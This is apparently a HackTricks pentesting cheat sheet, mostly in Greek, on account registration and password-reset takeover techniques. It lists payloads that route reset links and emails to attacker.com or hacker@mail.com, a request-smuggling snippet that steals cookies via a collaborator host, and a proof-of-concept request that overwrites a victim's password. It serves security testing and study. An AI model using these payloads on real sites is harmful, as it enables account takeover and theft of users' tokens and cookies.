Registration & Takeover Vulnerabilities

Reading time: 8 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Registration Takeover

Duplicate Registration

  • Προσπάθησε να δημιουργήσεις χρησιμοποιώντας ένα υπάρχον username
  • Έλεγξε παραλλαγές του email:
  • uppercase
  • +1@
  • πρόσθεσε μια dot στο email
  • ειδικοί χαρακτήρες στο όνομα του email (%00, %09, %20)
  • Βάλε κενά χαρακτήρες μετά το email: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

Username Enumeration

Ελέγξτε αν μπορείτε να διαπιστώσετε πότε ένα username έχει ήδη καταχωρηθεί στην εφαρμογή.

Password Policy

Κατά τη δημιουργία χρήστη έλεγξε την πολιτική password (έλεγξε αν μπορείς να χρησιμοποιήσεις αδύναμα passwords).
Σε αυτή την περίπτωση μπορείς να δοκιμάσεις bruteforce των credentials.

SQL Injection

Check this page για να μάθεις πώς να επιχειρήσεις account takeovers ή να εξάγεις πληροφορίες μέσω SQL Injections σε φόρμες εγγραφής.

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

Change Email

Όταν είσαι εγγεγραμμένος προσπάθησε να αλλάξεις το email και έλεγξε αν αυτή η αλλαγή επαληθεύεται σωστά ή αν μπορείς να το αλλάξεις σε αυθαίρετα emails.

More Checks

  • Έλεγξε αν μπορείς να χρησιμοποιήσεις disposable emails
  • Πολύ μεγάλο password (>200) οδηγεί σε DoS
  • Check rate limits on account creation
  • Χρησιμοποίησε username@burp_collab.net και ανέλυσε το callback

Password Reset Takeover

Password Reset Token Leak Via Referrer

  1. Ζήτησε password reset στη διεύθυνση email σου
  2. Κάνε κλικ στον σύνδεσμο password reset
  3. Μην αλλάξεις το password
  4. Κάνε κλικ σε οποιονδήποτε 3rd party ιστότοπο (π.χ. Facebook, twitter)
  5. Intercept το request στο Burp Suite proxy
  6. Έλεγξε αν ο referer header is leaking το password reset token.

Password Reset Poisoning

  1. Intercept το password reset request στο Burp Suite
  2. Πρόσθεσε ή επεξεργάσου τα παρακάτω headers στο Burp Suite : Host: attacker.com, X-Forwarded-Host: attacker.com
  3. Προώθησε (forward) το request με το τροποποιημένο header
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. Ψάξε για ένα password reset URL βασισμένο στο host header όπως : https://attacker.com/reset-password.php?token=TOKEN

Password Reset Via Email Parameter

bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR σε παραμέτρους API

  1. Ο επιτιθέμενος πρέπει να συνδεθεί με τον λογαριασμό του και να μεταβεί στη λειτουργία Αλλαγή κωδικού.
  2. Ξεκινήστε το Burp Suite και Intercept το αίτημα\
  3. Στείλτε το στην καρτέλα repeater και επεξεργαστείτε τις παραμέτρους : User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Αδύναμο token επαναφοράς κωδικού

Το password reset token πρέπει να δημιουργείται τυχαία και να είναι μοναδικό κάθε φορά.
Προσπαθήστε να καθορίσετε αν το token λήγει ή αν είναι πάντα το ίδιο — σε ορισμένες περιπτώσεις ο αλγόριθμος δημιουργίας είναι αδύναμος και μπορεί να εικαστεί. Οι παρακάτω μεταβλητές μπορεί να χρησιμοποιούνται από τον αλγόριθμο.

  • Χρονική σήμανση (Timestamp)
  • UserID
  • Email του χρήστη
  • Όνομα και Επώνυμο
  • Ημερομηνία γέννησης
  • Κρυπτογραφία
  • Μόνο αριθμοί
  • Μικρή ακολουθία token (χαρακτήρες μεταξύ [A-Z,a-z,0-9])
  • Επανάχρηση token
  • Ημερομηνία λήξης token

Leaking Password Reset Token

  1. Trigger ένα αίτημα επαναφοράς κωδικού χρησιμοποιώντας το API/UI για ένα συγκεκριμένο email π.χ: test@mail.com
  2. Εξετάστε την απάντηση του server και ελέγξτε για resetToken
  3. Έπειτα χρησιμοποιήστε το token σε ένα URL όπως https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Επαναφορά κωδικού μέσω σύγκρουσης username

  1. Εγγραφείτε στο σύστημα με ένα username-identical στον χρήστη-θύμα, αλλά εισάγετε κενά πριν και/ή μετά το username. π.χ: "admin "
  2. Ζητήστε επαναφορά κωδικού με το κακόβουλο username σας.
  3. Χρησιμοποιήστε το token που στάλθηκε στο email σας και επαναφέρετε τον κωδικό του θύματος.
  4. Συνδεθείτε στον λογαριασμό του θύματος με τον νέο κωδικό.

Η πλατφόρμα CTFd ήταν ευάλωτη σε αυτήν την επίθεση.
See: CVE-2020-7245

Κατάληψη λογαριασμού μέσω Cross Site Scripting

  1. Βρείτε ένα XSS μέσα στην εφαρμογή ή σε subdomain εάν τα cookies είναι scoped στο parent domain : *.domain.com
  2. Leak τα τρέχοντα sessions cookie
  3. Αυθεντικοποιηθείτε ως ο χρήστης χρησιμοποιώντας το cookie

Κατάληψη λογαριασμού μέσω HTTP Request Smuggling

1. Χρησιμοποιήστε smuggler για να εντοπίσετε τον τύπο του HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Δημιουργήστε ένα αίτημα το οποίο θα υπερχαράξει το POST / HTTP/1.1 με τα ακόλουθα δεδομένα:
GET http://something.burpcollaborator.net HTTP/1.1 X: με στόχο να προκαλέσει open redirect τα θύματα προς burpcollab και να κλέψει τα cookies τους
3. Το τελικό αίτημα θα μπορούσε να μοιάζει ως εξής

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Αναφορές στο Hackerone που περιγράφουν την εκμετάλλευση αυτού του bug\

Κατάληψη Λογαριασμού μέσω CSRF

  1. Δημιουργήστε ένα payload για το CSRF, π.χ.: “HTML form with auto submit for a password change”
  2. Στείλτε το payload

Κατάληψη Λογαριασμού μέσω JWT

JSON Web Token μπορεί να χρησιμοποιηθεί για την αυθεντικοποίηση ενός χρήστη.

  • Επεξεργαστείτε το JWT με άλλο User ID / Email
  • Ελέγξτε για αδύναμη υπογραφή JWT

JWT Vulnerabilities (Json Web Tokens)

Εγγραφή-ως-Επαναφορά (Upsert on Existing Email)

Ορισμένοι signup handlers πραγματοποιούν upsert όταν το παρεχόμενο email υπάρχει ήδη. Αν το endpoint δέχεται ένα ελάχιστο body με email και password και δεν επιβάλλει επαλήθευση ιδιοκτησίας, η αποστολή του email του θύματος θα αντικαταστήσει το password του πριν την αυθεντικοποίηση.

  • Discovery: συλλέξτε ονόματα endpoint από το bundled JS (ή mobile app traffic), στη συνέχεια fuzz-άρετε base paths όπως /parents/application/v4/admin/FUZZ χρησιμοποιώντας ffuf/dirsearch.
  • Method hints: ένα GET που επιστρέφει μηνύματα όπως "Only POST request is allowed." συχνά υποδεικνύει το σωστό ρήμα και ότι αναμένεται JSON body.
  • Minimal body observed in the wild:
json
{"email":"victim@example.com","password":"New@12345"}

Παράδειγμα PoC:

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Επίπτωση: Full Account Takeover (ATO) χωρίς κανένα reset token, OTP, ή email verification.

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks